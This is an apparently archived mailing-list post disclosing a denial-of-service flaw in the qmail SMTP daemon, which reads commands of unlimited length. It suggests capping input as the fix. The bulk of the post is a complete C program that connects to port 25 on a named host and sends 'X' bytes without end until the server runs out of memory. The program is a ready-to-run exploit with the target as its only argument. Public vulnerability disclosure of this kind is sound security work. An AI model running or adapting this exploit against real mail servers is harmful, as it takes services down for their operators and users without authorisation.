While implementing my own mailer, I went over the qmail source code
and noticed that qmail is susceptible to a very trivial denial of
service attack. By sending SMTP commands of unlimited length, an
attacker can make the machine run out of memory, thus rendering it
completely unusable.
Below is a little program that demonstrates the problem. When I
wrote this I was in C mode; it could probably be done with a much
smaller PERL program.
Fix: put some upper bound on the amount of data that qmail-smtpd
reads per command.
I am sending to the list, because it appears that DJB is ignoring
all my email. Oh well. Be a good sport, Dan, and take care of it.
Wietse
/*
* qmail-dos-1 - run a qmail system out of swap space by feeding long SMTP
* commands.
*
* Usage: qmail-dos-1 hostname
*
* Author: Wietse Venema. The author is not responsible for abuse of this
* program. Use at your own risk. Batteries not included.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
void fatal(char *fmt,...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
putc('\n', stderr);
exit(1);
}
int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
char buf[BUFSIZ];
int sock;
FILE *fp;
if (argc != 2)
fatal("usage: %s host", argv[0]);
if ((hp = gethostbyname(argv[1])) == 0)
fatal("host %s not found", argv[1]);
memset((char *) &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
sin.sin_port = htons(25);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fatal("socket: %s", strerror(errno));
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
fatal("connect to %s: %s", argv[1], strerror(errno));
if ((fp = fdopen(sock, "r+")) == 0)
fatal("fdopen: %s", strerror(errno));
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
memset(buf, 'X', sizeof(buf));
fseek(fp, 0L, SEEK_SET);
while (fputs(buf, fp) != EOF)
/* void */ ;
}
--
-=- Frank DENIS aka Jedi/Sector One -=-
<j@djweb.org> <j@donald.fr> <j@eider.net>